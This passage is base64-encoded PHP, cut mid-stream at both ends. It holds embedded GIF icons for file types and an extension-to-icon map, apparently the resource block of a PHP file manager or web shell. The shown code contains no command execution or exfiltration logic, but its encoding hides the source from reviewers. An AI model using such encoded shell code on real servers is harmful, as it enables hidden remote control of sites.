QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFB ek13QXpaZ0F6bVFBenpBQXovd0JtIi4KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdD Wm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLgoiTXdEL1pnRC9tUUQvekFE Ly96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpO

bSIuCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQ TXpEUE0velAvQURQL016UC9aalAvIi4KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZ ekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLgoiekdabS8yYVpBR2FaTTJh WlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2Ivekdi LyIuCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUps bU01bG1acGxtbVpsbXpKbG0vNW1aIi4KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBu TW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLgoiTTh3QVpzd0FtY3dBek13 QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5 WiIuCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6 L3pNei8vLzhBQVA4QU0vOEFadjhBIi4KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85 bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLgoielArWi8vL01BUC9NTS8v TVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFOQUF3 QSIuCiJBQWd6QUZFSUhFaXdvTUdEQ0JINlcwZ3RvVUIvLzFCRU5PaVAyc0tFQ3pOZU5JaXFZMGQvRkJm K3kwalI0OGVRR1VjNkpCZ1FBRHM9IiwKInVwIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vL2o0 K09QajQ5M2QzY3pNekxLeXNvYUdoazFOVGYvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1 QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIwTU1sSnE3MzRuczFQbmtjZ2pnWHdoY05RcklWaG1Gb256eHdR am5pZTI3amciLgoiKzRRZ3kzWGdCWDRJb0hEbE1oUnZnZ0ZpR2lTd1dzNVh5RGZ0V3BsRUorOUhRQ3l4 MmMxWUVEUmZ3d2Z4dG9wNHA1M1B3TEtPanZ2ViIuCiJJWHRkZ3dnZFBHZFlmbmcxSVZlSmFUSUFrcE9V bFpZZkh4RUFPdz09IiwKIndyaXRlIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vOTNkM2N6TXpM S3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFB a0FMQUFBQUFBVUFCUUFBQVIwTU1sSnF5ekZhbHFFUUp1R0VRU0NuV2c2Rm9ncGtIQU1GNEhBSnNXaDcv emUiLgoiRVFZUUxVQXNHZ00wV3d0M2JDSmZRU0Z4MTB5eUJsSm44UmZFTWdNOVgrM3FIV3E1aUVENXlD c01DbDExMWtuRHB1WGZZbHMrSUs2MSIuCiJMWGQrV1dFSExVZC9Ub0pGWlFPT2o1Q1JqaUNCbFphWElC RUFPdz09IiwKImV4dF9hc3AiPT4KIlIwbEdPRGRoRUFBUUFMTUFBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJ QUFnQUNBZ01EQXdJQ0FnUDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy95d0FBQUFBRUFBUUFB QUVTdkRJU2FzRjJONkRNTkFTOEJ4ZmwxVWlPWlllOWFVd2dwRFRxNnFQL0lYME96N0FYVS8xZVJnSSIu CiJENkhQaHpqU2VMWWRZYWJzRENXTVp3aGczV1d0S0s0UXJNSG9oQ0FTK2hBQkFEcz0iLAoiZXh0X21w MyI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFZQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdN REF3SUNBQVAvL0FBQUFBQUFBQUFOVSIuCiJhR3JTN2l1S1FHc1lJcXBwNlFpWlJEUVdZQUlMUVFTQTJn Mm80UW9BU0hHd3ZCYkFOM0dYMXFYQStyMWFCUUhSWkhNRURTWUN6M2ZjIi4KIklHdEdUOHdBVXdsdHp3 V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLAoiZXh0X2F2aSI9PgoiUjBsR09EbGhFQUFRQUNJQUFD SDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3UDhBQUFBQUFBQUFBQUFBQUFOTSIu CiJXRnJTN2l1S1FHc1lJcXBwNlFpWjFGRkFDWWlqQjRSTXFqYlkwMUR3V2c0NGdBc3JQNVFGazI0SHVP aE9ESndTVS9JaEJZVGNqeGU0Ii4KIlBZWEN5ZytWMmk0NFhlUm1TZllxc0doQUFnQTciLAoiZXh0X2Nn aSI9PgoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUV3QUxBQUFBQUFRQUJBQWhnQUFBSnRxQ0hkM2Q3 aU5HYStITXU3ZXI5R2lDNitJT091OSIuCiJEa0pBUHF5RlFxbC9OL0RsaHN5eWZlNjdBZi9TRlAvOGtm LzlsRDlFVHYvUEN2L2NRLy9lTnYvWElmL1pLUC9SRHYvYkxmL2NNYWg2Ii4KIkxQUFlSdnpnUit2Z3g3 eVZNdi9sVXYvbVR2L2ZPZi9NQXYvbWNmL05BLy9xaWYvTUFQL1RGZi94cDd1WlZmL1dJUC9PQnF0L0h2 L1MiLgoiRXYvaFArN09PUC9XSHYvd2JITmZQNFZ6Vjd1UEZ2L3BWLy9yWGYveWNmL3pkdi8wZVVOSldF TktXc3lrSWs5UldNeXRQLy80aUVwUSIuCiJYdi85cWZicHRQL3VaOTNHaU5xNlhXcFJKLy9pUXY3d3Nx dUVRdi9qUkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnRXlDZzB3QmhJ ZUhBWXFJakFFd2hveUVBUVFYQkpDUmhRTXVBNWVTaW9vR0l3YWZpNFVNIi4KIkJhZ05GQk1jRFI0RlF3 d0JBZ0VHU0JCRUZTd3hOaEF5R2c2V0Frd0NCQWd2RmlVaU9CRWdOVWM3dzRJQ05EOFBLQ0ZBT2kwSlBO S0QiLgoiQWtVbkdUa1JOd01TMzRNQkpCZ2RSa0pMQ0Q3cWdnRVBLeHNKS2lZVEJ3ZUpramhRa2s3QWh4 UTlGcWdMTUdCR2tHOEtGQ2c4SktBaSIuCiJSWXRNQWdFQU93PT0iLAoiZXh0X2NtZCI9PgoiUjBsR09E bGhFQUFRQUNJQUFDSDVCQUVBQUFjQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3QUFBZ0lDQUFQ Ly9BQUFBQUFOSSIuCiJlTHJjSnpES0NZZTkrQW9nQnZsZytHMmRTQVFBaXBJRDVYSkRJTSswek5KRmtk TDNEQmc2SG14V01FQUFoVmxQQmhnWWRyWWhEUUNOIi4KImRtcllBTW4xb25xL1lLcGp2RWdBQURzPSIs CiJleHRfY3BwIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93 QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5DIi4KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VJ a1ZZV3FUNEZJQ29KNXY3YzZzM2NxckFyd2luRS8zNDlGaU5vRnc0NHJ0bHFoT0w0UmEiLgoiRXE3WXJM REU3YTRTQURzPSIsCiJleHRfaW5pIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFB QVFBQkFBZ2dBQUFQLy8vOERBd0lDQWdJQ0FBUC8vQUFBQUFBQUFBQU5MIi4KImFBckIzaW9hTmtLOU1O YkhzNmxCS0lvQ29JMW9VSjRONERDcXFZQnB1TTZocThQM2h3b0VnVTNtYXdFTEJFYVBGaUFVQU1nWXkz Vk0iLgoiU25FamdQVmFySEVIZ3JCNDNKdnN6c1FFQURzPSIsCiJleHRfZGl6Ij0+CiJSMGxHT0RsaEVB QVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFQLy8vMTVwaGNmYjZOTHMvN1BjLytQMC8z SitsOWJzIi4KIi81Mm51cWpLNS9uLy8vai8vLzcvLy9yLy8wdHJsc1BuLzhubi84blo1dHJtNzludS84

L3EvOVh0Lzl6dy85M3cvK2oxLzlIci8rRHYiLgoiL2Q3di83M0gwTWpVMzl6dS85YnIvOG5lOHRYbitL Ni96OFhqL0xqVjdkRHAvNks0eThibC81TzQyT3oyLzdIVzlKdTkydS85LzhUMyIuCiIvK0wvLys3Ky8r djYvKy82LzlINC8rWDYvK1hsNVB6Ly8rL3Q3ZlgwOHZELy8rMy8vL1AvLy9ILy8vUDcvOG5xLzhmcC84 VGw5OHpyIi4KIi8rL3o5dlQ0KytuMS9iL2svZG55LzlIdi8rdjQvOS8wLzlmdy84L3UvOHZ0LysvMDl4 VXZYaFF0VzRLVHMyVjFrdzRvVlRkWXBEWlgiLgoicFZ4cWhseHFpRXhraW1LQnRNUEwyRnR2ajJPVjZh T3V3cHFsdWx5TjNjbk8xd0FBWFFBQVpTTThqRTVYamdBQWJ3QUFlVVJCWWdBQSIuCiJkQUFBZHpaRWFF OXd3RFpZcG1WdmlSNDlqRzEya0NoRm1nWXVqNisxeGVMbjdOemo2cG0yMG9lcXlwUzIxMlNKcmFDeXha V3l6N1BXIi4KIjljL28vODduLzhEWDdNSFk3cS9LNUxmWDlhckIxc3JsLzIrZnpxMjkwVTE0cTdmQ3o2 ZTJ5WHVtMzBGamxDbEhjNGVYcjZiSStiVEsiLgoiNHJmVytOWGU2T2J5LzVTdnpXU0hyK2JyOFd1S3JR QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFqZ0FDc0pyRFJIU0lDRFE3SU1YRGdKeDhFdlp1 SWNiUEJvb1p3YkJ3T01BZk1tWXdCQ0Eyc0VjTkJqSkNNWUFUTElPTGlva29jbSIuCiJDMVFza0FDbEN4 Y0dCajdFc05Ib1FBY2lTQ0MxbU5BbWpKZ0dHRUJRb0JIaWdLRU5CamhjQ0JBSXpSb0dGa3dRTU5Lbnln Z1JTUkFnIi4KIjJCSHBEQlVlZXdSVjBQREhDcDRCU2dqdzBaR0h6SlFjRVZENElFSEp6WWtCZm80c2VZ R2xEQndnVENBQVl2RkU0S0VCSllJNFVyUEYiLgoiQ3lJSUsrd29Zak13UVFJNkNvcjhtS0VueFIwbkFo WUtqSEpGUVlFQ2txU2tTYTE2NElNNkxoTFJycjN3d2FCQ3Uza1BGS0NsZGtBQSIuCiJPdz09IiwKImV4 dF9kb2MiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84 REF3QUFBLzRDQWdBQUFBQUFBQUFBQUFBTlIiLgoiV0VyY3JyQ1FRQ3NsUUEyd093ZFhrSUZXTlZCQStu bWU0QVpDdW9sblJ3a3dGOVFnRU9QQUZHMjFBK1o0c1FITzk0cjFlSlJUSlZtcSIuCiJNSU9yclBTV1da UmN6YTZrYW9sQkNPQjBXb3hSdWQwSkFEcz0iLAoiZXh0X2V4ZSI9PgoiUjBsR09EbGhFd0FPQUtJQUFB QUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIu CiJXTFRjVGlXU1FhdXRCRVExaFArZ2wyMVRLQVFBaW83UzhMeGFHOHgwUGJPY3JRZjR0TnU5d2E4V0hO S0tSbDRzbCt5OVlCdUFkRXF0Ii4KInhoSUFPdz09IiwKImV4dF9oIj0+CiJSMGxHT0RsaEVBQVFBQ0lB QUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5C Ii4KIldMUGM5WENBU1NjWjhNbEtDY0FSUndWa0VBS0NJQkttTnFWcnE3d3BiTW1iYmJPbnJnSThGK3Ez dzlHT1FPTVFHWnlKT3Nwbk1rS28iLgoiV3EvTmtuYmJTZ0FBT3c9PSIsCiJleHRfaHBwIj0+CiJSMGxH T0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFB QUFBQUFBQUFBQU5GIi4KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQy L2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLgoiVXFVYWduYkxkWmErWUZjQ0FEcz0iLAoi ZXh0X2h0YWNjZXNzIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dB QUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4KIldFWFcvazZSQUdzam1Gb1lnTkJiRXdq REIyNWRHWnpWQ0tnc1I4TGhTbnByUFE0MDZwYWZta0R3VXVtSXZKQm9SQUFBbEV1REV3cEoiLgoiQUFB NyIsCiJleHRfaHRtbCI9PgoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzls Nkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIuCiJjLy8vL3lINUJBRUFBQThBTEFBQUFB QVRBQkFBQUFTVDhNbDNxcTFtNm5tQy80R2hiRm9YSkVPMUNBTkRTb2NpR2tiQUNIaTIwVTNQIi4KIktJ RkdJakFRT0RTaUJXTzVOQXhSUm1UZ2dEZ2ttTTdFNmlpcEhaWUtCVk5RU0JTaWt1a1N3VzRqeW1jdXBZ RmdJQnFML01LOEtCRGsiLgoiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNn K1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIuCiJBRHM9IiwKImV4dF9qcGciPT4KIlIw bEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBa0FMQUFBQUFBUUFCQUFnd0FBQVAvLy84REF3SUNBZ0lDQUFQ OEFBQUQvQUlBQUFBQ0EiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUmNjTWhKazcwajZL M0Z1RmJHYlVMd0pjVWhqZ0hnQWtVcUVnSk5FRUFneEVjaSIuCiJDaThBTHNBTGFYQ0dKSzVvMUFHU0Jz SUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIi4KIkZ4 RUFPdz09IiwKImV4dF9qcyI9PgoiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFD QWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuCiJrMEFRc0cyMDBBUVVKQmdBb01p aGo1ZG1JeG5NSnh0cXExZGRFMEVXT2hzRzE2bTlNb29BaVNXRW1UaXVDNFR3MkJCMEw4RmdJQWhzIi4K ImEwMEFqWVlCYmMvbzlIak5uaVVBQURzPSIsCiJleHRfbG5rIj0+CiJSMGxHT0RsaEVBQVFBR1lBQUNI NUJBRUFBRkFBTEFBQUFBQVFBQkFBaGdBQUFBQmlBR1BMTW1YTU0weS9KbGZGTEZTNksxckdMV2pPIi4K Ik5TbXVGVFd6R2tDNUlHM1RPby8xWEU3QUp4Mm9ENVg3WW9UcVVZcndWMy9sVEhUYVFYbmZSbURHTVlY clVqS1FId0FNQUdmTlJIemkiLgoiVXd3NUNBQXFBRE9aR2thc0xYTFlRZ2hJQkJOM0RWRzJOV25QUm5E V1J3Qk9BQjV3RlFCQkFBQStBRkczTkFrNUJTR0hFVXF3TUFCayIuCiJBQUFnQUFBd0FBQmZBRGUwR3hl TEN4WmNERUs2SVV1eEtGakZMRTNBSjJISE1SS2lDUVdDQWdCbUFCcHREZytIQ0JaZURBcUZCV0RHIi4K Ik15bVVGUXBXQmoyZkpoZHZEUWhPQkM2WEYzZmRSME82SVIyT0R3QVpBSFBaUUNTUkVnQVNBRGFYSHdB QUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFB

QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4K IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlWmdGQlFQQUdGaG9jQWdvSTdPZzhKQ2dzRUJRSVdQUUNKZ2tD T2tKS1VQNWVZVUQ2UGtaTTUiLgoiTktDS1VETXlOVGczQWdnMlM1ZXFVRXBKRGdjRENBeE1UMDZoZ2sy NnZBd1VGVWhEdFlwQ3V3WkJ5Qk1SUk15Q1J3TUdSa1VnMHhJZiIuCiIxbEFlQmlFQUdSZ1hFZzB0NFN3 cm9DWWxEUkFuNFNtcEtDb1FKQy9ocVZBdU5Hemc4RTlSS0JFallCUzBKU2hHaDRVTW9ZQVNCaVVRIi4K IkFEcz0iLAoiZXh0X2xvZyI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJB QWcvLy8vd0FBQU1EQXdJQ0FnSUNBQUFBQWdBQUEvLy8vQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFSUUVLRXdLNlV5QnpDNDc1Z0VBbHRKa2xMUkFXemJDbFJocks0THk1eWc3L3dOIi4K InpMVWFMR0JRQlYyRWdGTFY0eEVPU1NXdDlnUVFCcFJwcXhvVk5hUEtrRmI1RWgvTG1VR3pGNXFFMytF TUlnSUFPdz09IiwKImV4dF9waHAiPT4KIlIwbEdPRGxoRUFBUUFBQUFBQ0g1QkFFQUFBRUFMQUFBQUFB UUFCQUFnQUFBQUFBQUFBSW1EQTZoeTVyVzBIR29zZmZzZFRwcXZGbGciLgoidDBoa3laM1E2cWxvWjdK aW1vbVZFYit1WEFBQU93PT0iLAoiZXh0X3BsIj0+CiJSMGxHT0RsaEZBQVVBS0wvQVAvNC84REF3SDkv QVAvNEFMKy92d0FBQUFBQUFBQUFBQ0g1QkFFQUFBRUFMQUFBQUFBVUFCUUFRQU1vIi4KIkdMcmMzZ09B TVlSNE9PdWRyZWVnUmxCV1NKMWxxSzVzNjRMaldGM2NRTWpwSnBEZjYvL0FCQUE3IiwKImV4dF9zd2Yi PT4KIlIwbEdPRGxoRkFBVUFNUVJBUCtjblA5U1VzNEFBUCtjQVAvT0FJUUFBUDlqQU01am5NNmNZODZj bktYTzk4YmV4cHdBQVA4eEFQL08iLgoibkFBQUFQLy8vLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQSIuCiJBQkVBTEFBQUFBQVVBQlFB QUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdB Ii4KIkdCZ2FUMmdNUVlnVmpVZlNUM1lvRkdLQlJnQnFQamdZREVGeFhScERHRUlBNHhBUVFOUjFOSG9N RUFBQ0FCRmhJejhyQ25jTUFHZ0MiLgoiTnlzTGtET1RTQ3NKTkRKYW5UVXFMcU0yS2FhbnFCRWhBRHM9 IiwKImV4dF90YXIiPT4KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFFc0FMQUFBQUFBUUFCQUFoZ0FB QUJsT0FGZ2RBRkFBQUlZQ1V3QThad0E4WjlEWTRKSUMiLgoiV3YvLy93Q0lXQkUyQUFBeVVKaWNxSVNI bDRDQUFQRDQvK0RnOFBYNi81T1hwTDdIMCsvMi9hR21zVEl5TXRUYzVQLy9zZkw1LzhYRiIuCiJIZ0JZ cHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1t L3dBNFhoVkRBQUdEIi4KIlV5V2QvMGl0LzF1MS8zTnpBUDk1MFA5OTBtTzUvN3YxNFl6dnpYTHJ3b1hJ LzV2Uy83RGsvd0JYb3Y5c3l2Ump3T2hhdFFDSFYxN3AiLgoidW8wR1VRQlduUCsrOExtNUFQK2o1UUJV bEFDS1dnQTRiakpRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVl Z0FLQ2c0U0ZTeFlORXc0Z01nU09qNDhERkFjSEVVSVpSRVlvSkRRelBUNC9Bd2NRQ1FrZyIuCiJHd2lw cXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09s U1JzY0hEd2VIa01kIi4KIkhVY01yN0d6QnVmbzZBeTg3THUraWkwZkFmUDA5QXZJRVI4Wk5qYzRRU1Vt VG9nWXNjQmFBaVZGa0NoWXlCQ0lpd1hrWkQyb1IzRkIiLgoidTR0TEFnRUFPdz09IiwKImV4dF90eHQi PT4KIlIwbEdPRGxoRXdBUUFLSUFBQUFBQVAvLy84Ykd4b1NFaFAvLy93QUFBQUFBQUFBQUFDSDVCQUVB QUFRQUxBQUFBQUFUQUJBQUFBTkoiLgoiU0FyRTNsREpGa2E5MXJLcEEvRGdKM0pCYVo2bHNDa1c2cXFr QjRqekY4QlM2NTQ0VzlaQVc0K2cyNlZXeEY5d2Rvd1ptem5sRXVwNyIuCiJVcFBXRzNJZzZIcS9YbVJq dVp3a0FBQTciLAoiZXh0X3dyaSI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFR QUJBQWcvLy8vd0FBQUlDQWdNREF3SUNBQUFBQWdBQUEvLy8vQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2Fv Ii4KImE0U1hUMGM0QkYwclVoRkFFQVFRSTlkbWViUkVXOHlYQzZOeDJRSTdMcllidHBKWk5zeGd6VzZu TGRxNDloSUJBRHM9IiwKImV4dF94bWwiPT4KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFB QUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLgoiZ0RPWkFETm0vek9a L3pQLy84REF3RFBNL3dBQS93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFWazRDQ09wQWlkMEFDc2JOc01xTnF1QWlBMEFKelNkbDhI d01CT1VLZ2hFQXBiRVNCVUZRd0FCSUN4Ii4KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5y aDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLgoiSVFBNyIKICk7CiAv L0ZvciBzaW1wbGUgc2l6ZS0gYW5kIHNwZWVkLW9wdGltaXphdGlvbi4KICRpbWdlcXVhbHMgPSBhcnJh eSgKICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJq IiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUi LCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIs ImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwKICAiZXh0X3BocCI9PmFycmF5 KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0 X3NodG1sIiwiZXh0X2h0bSIpLAogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwi ZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28i LCJleHRfdGlmIiwidGlmZiIpLAogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0i KSwKICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBn IiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksCiAgImV4dF9sbmsiPT5hcnJheSgiZXh0X2xu ayIsImV4dF91cmwiKSwKICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9p bmYiKSwKICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLAogICJleHRfanMiPT5h

cnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLAogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRf YmF0IiwiZXh0X3BpZiIpLAogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksCiAg ImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwKICAiZXh0X21wMyI9PmFycmF5KCJl eHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksCiAgImV4dF9odGFjY2VzcyI9PmFy cmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3Nv IikKICk7CiBpZiAoISRnZXRhbGwpCiB7CiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIp OwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7CiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRh 